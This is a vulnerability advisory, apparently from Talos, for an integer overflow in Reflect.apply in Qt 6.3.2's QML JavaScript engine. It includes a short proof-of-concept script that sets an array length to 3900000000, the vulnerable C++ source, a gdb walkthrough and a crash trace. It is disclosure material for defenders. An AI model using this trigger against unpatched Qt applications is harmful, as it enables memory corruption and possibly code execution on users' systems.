CVE-2022-40983
An integer overflow vulnerability exists in the QML QtScript Reflect API of Qt Project Qt 6.3.2. A specially-crafted javascript code can trigger an integer overflow during memory allocation, which can lead to arbitrary code execution. Target application would need to access a malicious web page to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Qt Project Qt 6.3.2.
Qt - https://www.qt.io/
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-190 - Integer Overflow or Wraparound
Qt is a popular software suite primarily used to create graphical user interfaces. It also contains a number of supporting libraries which all aim to enable cross-platform application development with a unified programming API.
Qt’s suite of libraries contains support for executing Javascript code through its QtScript engine, which is extensively used in QML. QtScript is historicaly based on WebKit’s JavaScriptCore, but the current codebase bears little resemblance to modern JavaScriptCore engine.
QtScript implementation supports a set of Reflect Javascript APIs and methods such as Reflect.apply()
, which contains an integer overflow vulnerability. The vulnerability can be demonstrated with the following PoC Javascript code:
const v1 = [];
const v3 = [];
v3.length = 3900000000;
Reflect.apply(v1.reverse,v1,v3);
In the above code, two arrays are constructed. The second array has its length
property set to a large number. Method Refclect.apply
takes three arguments. First is the function to be “applied”, second is the object to which the function is to be applied and third is supposed to be an array of potential arguments to the function. In this example, method reverse
of an Array
object is being applied, with a task to simply reverse the array. The vulnerability is triggered even though method reverse
doesn’t expect or use the array v3
. The root cause of the vulnerability can be seen in the following source code:
static CallArgs createListFromArrayLike(Scope &scope, const Object *o)
{
int len = o->getLength(); [3]
Value *arguments = scope.alloc(len); [4]
for (int i = 0; i < len; ++i) {
arguments[i] = o->get(i); [5]
if (scope.hasException())
return { nullptr, 0 };
}
return { arguments, len };
}
ReturnedValue Reflect::method_apply(const FunctionObject *f, const Value *, const Value *argv, int argc) [0]
{
Scope scope(f);
if (argc < 3 || !argv[0].isFunctionObject() || !argv[2].isObject())
return scope.engine->throwTypeError();
const Object *o = static_cast<const Object *>(argv + 2);
CallArgs arguments = createListFromArrayLike(scope, o); [1]
if (scope.hasException())
return Encode::undefined();
return checkedResult(scope.engine, static_cast<const FunctionObject &>(argv[0]).call( [2]
&argv[1], arguments.argv, arguments.argc));
}
In the above code quote we can observe the implementation of Reflect.apply
method starting at [0]. After some sanity checking, the code at [1] takes the 3rd argument to apply()
and tries to turn it into a list from an array-like object via createListFromArrayLike
. Finally, at [2], a call to the target function (reverse
in our PoC) is made.
The core of the issue lies in the createListFromArrayLike
function. In it, at [3], the length of the array (3900000000 in our PoC) is retrieved and used in an allocation at [4]. Note that len
is a signed integer. Further, len
is again used at [5] as a guard in a for
loop that tries to copy the elements. The actual integer overflow happens during a call at [4], which indirectly leads to the following code:
QML_NEARLY_ALWAYS_INLINE Value *jsAlloca(int nValues) {
Value *ptr = jsStackTop;
jsStackTop = ptr + nValues;
return ptr;
}
In the above code, to allocate the memory for the list, a number of values is simply added to a pointer. Since pointers are 8 bytes in size, the compiler will implicitly multiply the length by 8 to satisfy pointer arithmetic rules. With a large value for v3.length
this can lead to an integer overflow and wraparound during allocation. This integer overflow then leads to further memory corruption. The exact point of integer overflow can be observed in the debugger (do note that most of the above-quoted functions are actually inlined):
Breakpoint 16, 0x000000000096bfbb in QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) ()
(gdb) x/10i $pc
=> 0x96bfbb <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+203>: mov rdi,QWORD PTR [r13+0x8] [6]
0x96bfbf <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+207>: movsxd rax,ebp
0x96bfc2 <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+210>: lea rcx,[rdi+rax*8]
0x96bfc6 <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+214>: mov QWORD PTR [r13+0x8],rcx
0x96bfca <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+218>: test eax,eax
0x96bfcc <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+220>: mov QWORD PTR [rsp],rdi
0x96bfd0 <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+224>:
jle 0x96c072 <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+386>
0x96bfd6 <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+230>: mov QWORD PTR [rsp+0x8],rbp
0x96bfdb <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+235>: mov ebp,ebp
0x96bfdd <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+237>: lea rdx,[rbp*8+0x0]
(gdb) i r ebp
ebp 0xe8754700 -394967296 [7]
(gdb) stepi
0x000000000096bfbf in QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) ()
(gdb) stepi
0x000000000096bfc2 in QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) ()
(gdb) x/i $pc
=> 0x96bfc2 <QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int)+210>: lea rcx,[rdi+rax*8] [8]
(gdb) i r rax
rax 0xffffffffe8754700 -394967296
(gdb) i r rdi
rdi 0x7ffff4e845a0 140737302250912
(gdb) stepi
0x000000000096bfc6 in QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) ()
(gdb) i r rcx
rcx 0x7fff38927da0 140734142512544
(gdb) x/x $rcx [9]
0x7fff38927da0: Cannot access memory at address 0x7fff38927da0
(gdb)
A breakpoint was set at [6] just before the pointer arithemtic. Observe that value of length is in 4 byte ebp
register at [7]. The instruction at [8] actually calculates the new pointer by multiplying rax
(sign extended length value from ebp) by the size of a pointer and adding it to rdi
before storing it into rcx
. The command at [9] shows that rcx
now points to invalid memory. Any further operation using this pointer of length will result in additional memory corruption. Continuing execution finally leads to a following crash:
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x0000000000da87d9 in QV4::ArrayPrototype::method_reverse(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) ()
(gdb) c
Continuing.
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==370803==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x7fff38927da0 (pc 0x000000da87d9 bp 0x7ffff48d1d20 sp 0x7fffffffd2c0 T370803)
==370803==The signal is caused by a WRITE memory access.
[Detaching after fork from child process 370824]
#0 0xda87d9 in QV4::ArrayPrototype::method_reverse(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0xda87d9)
#1 0x96c0de in QV4::Reflect::method_apply(QV4::FunctionObject const*, QV4::Value const*, QV4::Value const*, int) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x96c0de)
#2 0x985e7e in QV4::Runtime::CallProperty::call(QV4::ExecutionEngine*, QV4::Value const&, int, QV4::Value*, int) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x985e7e)
#3 0x9d7bc5 in QV4::Moth::VME::interpret(QV4::JSTypesStackFrame*, QV4::ExecutionEngine*, char const*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x9d7bc5)
#4 0x9d5bbc in QV4::Moth::VME::exec(QV4::JSTypesStackFrame*, QV4::ExecutionEngine*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x9d5bbc)
#5 0x8e4a77 in QV4::Function::call(QV4::Value const*, QV4::Value const*, int, QV4::ExecutionContext*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x8e4a77)
#6 0x98f487 in QV4::Script::run(QV4::Value const*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x98f487)
#7 0x8779ae in QJSEngine::evaluate(QString const&, QString const&, int, QList<QString>*) (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x8779ae)
#8 0x428dd6 in main /home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/main.cpp:106:32
#9 0x7ffff5a9e082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#10 0x4123cd in _start (/home/anikolich/projects/qt6/qtdeclarative/examples/qml/shell/shell+0x4123cd)
The above crash is inside method_reverse
which is the implementation of Array.reverse
. However, the same vulnerability can be triggered through any target function supplied to Reflect.apply
. Since the Javascript execution environment presents many ways of precisely manipulating memory layout, this vulnerability could be abused to cause further memory corruption, which can ultimately result in arbitrary code execution.
2022-09-27 - Initial Vendor Contact
2022-10-11 - Vendor Disclosure
2022-10-26 - Vendor Patch Release
2023-01-12 - Public Release
Emma Reuter and Theo Morales of Cisco ASIG.